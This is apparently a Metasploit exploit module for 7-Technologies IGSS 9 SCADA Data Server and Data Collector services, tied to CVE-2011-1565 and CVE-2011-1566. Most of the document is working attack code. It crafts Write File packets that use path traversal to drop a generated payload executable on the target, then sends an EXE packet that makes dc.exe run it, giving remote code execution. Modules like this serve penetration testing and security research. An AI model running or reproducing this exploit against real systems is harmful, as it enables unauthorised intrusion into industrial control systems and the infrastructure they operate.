##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",
        'Description' => %q{
          This module exploits multiple vulnerabilities found on IGSS 9's Data Server and
          Data Collector services.  The initial approach is first by transferring our binary
          with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send
          an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run
          that payload with a CreateProcessA() function as a new thread.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Luigi Auriemma', # Initial discovery, poc
          'sinn3r', # Metasploit
        ],
        'References' => [
          [ 'CVE', '2011-1565'],
          [ 'CVE', '2011-1566'],
          [ 'OSVDB', '72354'],
          [ 'OSVDB', '72349'],
          [ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ],  # Write File packet flaw
          [ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ],  # EXE packet flaw
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => "none",
        },
        'Platform' => 'win',
        'Targets' => [
          # Service packs do not have any influence on the exploit
          [ 'Windows XP', {} ],
          [ 'Windows 7', {} ],
          [ 'Windows Server 2003 / R2', {} ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-03-24',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(0, false),
      ]
    )
  end

  def write_packets(data)
    pkts = []

    # Payload will be in C:\Documents and Settings\All Users\Application Data\7T\
    tmp = rand_text_alpha(1)
    filename = "#{tmp}.exe"

    data_size = data.length

    0.step(data_size, 870) do |s|
      # Each packet only contains 870 bytes of data
      chunk = data[s, 870]

      # Data size of this packet
      chunk_size = [chunk.length].pack('v')

      # Flag is set if this is our last chunk
      # Flag 0x01 will cause the server to close the connection
      flag = (chunk.length >= 870) ? "\x00" : "\x01"

      pkt = "\x01\x00\x34\x12"
      pkt << "\x0D"                     # Opcode
      pkt << "\x00" * 7
      pkt << flag                       # Flag
      pkt << "\x00\x00\x00"
      pkt << "\x02"                     # Command (Write File)
      pkt << "\x00\x00\x00"
      pkt << "../../../../#{filename}"  # Filename
      pkt << "\x00" * 73
      pkt << "\x3E\x01\x01\x02"
      pkt << "\x00\x10"
      pkt << "\x00\x00"
      pkt << "\x78\x01\x08\x04"
      pkt << "\x78\x01\x08\x04"
      pkt << "\x00" * 22
      pkt << chunk_size                 # Data size
      pkt << "\x00\x00"
      pkt << chunk                      # Data chunk

      # Add the total packet size to the header
      pkt_size = [pkt.length + 2].pack('v')
      pkt = pkt_size + pkt

      # Put this packet to the array
      pkts << pkt
    end

    return filename, pkts
  end

  def exe_packet(filename)
    # Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS
    # We'll just traverse our way back to C:\ as base
    base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"

    pkt = "\x00\x01"
    pkt << "\x00\x00\x00\x00\x00\x00\x00"
    pkt << "\x01"
    pkt << "\x00\x00"
    pkt << "\x0A"
    pkt << "\x00" * 31
    pkt << "#{base}#{filename}\""
    pkt << "\x00" * 163 # only for 1 caracter + .exe (i.exe for example)

    return pkt
  end

  def exploit
    # Generate payload and our Write packets
    print_status("Generating payload...")
    p = generate_payload_exe
    fname, w_packets = write_packets(p)
    w_packets_count = w_packets.length.to_s
    print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)")

    # Generate our EXE packet
    e_packet = exe_packet(fname)

    # Create socket to igssdataserver.exe (12401)
    connect(true, { 'RPORT' => 12401 })

    # Count how many packets we've sent to track progress
    counter = 1

    # Send Write packets
    print_status("Sending Write packets...")

    w_packets.each do |packet|
      vprint_status("Sending packet #{counter}/#{w_packets_count}")
      counter += 1
      sock.put(packet)
      res = sock.get_once() # Wait before we do the next sock.put again
    end

    # After the 0x01 flag is set, our connection will be closed by the server.
    disconnect

    # Now to port 12397 (nc.exe)
    connect(true, { 'RPORT' => 12397 })

    print_status("Attempt to execute our payload...")
    sock.put(e_packet)

    # We must delay disconnect() for a bit, otherwise dc.exe won't call
    # kernel32!CreateProcessA
    select(nil, nil, nil, 1)
    disconnect
  end
end
